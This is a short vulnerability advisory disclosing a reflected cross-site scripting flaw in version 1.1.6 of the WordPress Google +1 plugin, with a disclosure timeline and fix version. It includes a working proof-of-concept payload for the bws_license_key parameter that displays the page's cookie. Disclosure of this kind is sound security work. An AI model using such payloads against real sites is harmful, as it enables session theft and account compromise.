WordPress Google +1 1.1.6 Cross Site Scripting

Plugin Name : Google +1
Effected Version : 1.1.6 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
In the following field put the payload as below
http://localhost/wp-admin/admin.php?page=google-plus-one.php&action=go_pro
bws_license_key =?><img src=x onerror=prompt(document.cookie);>
Vulnerable Parameter : bws_license_key
Type of XSS : Reflected
Fixed in : 1.1.7
http://wordpress.org/plugins/google-one/changelog/
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
Google +1 allows you to see how many times your page has been liked on Google Search Engine as well as who has liked the article. It comes with the button which provides a count. Google +1 plugin is a perfect solution for the people interested in the promotion of their website.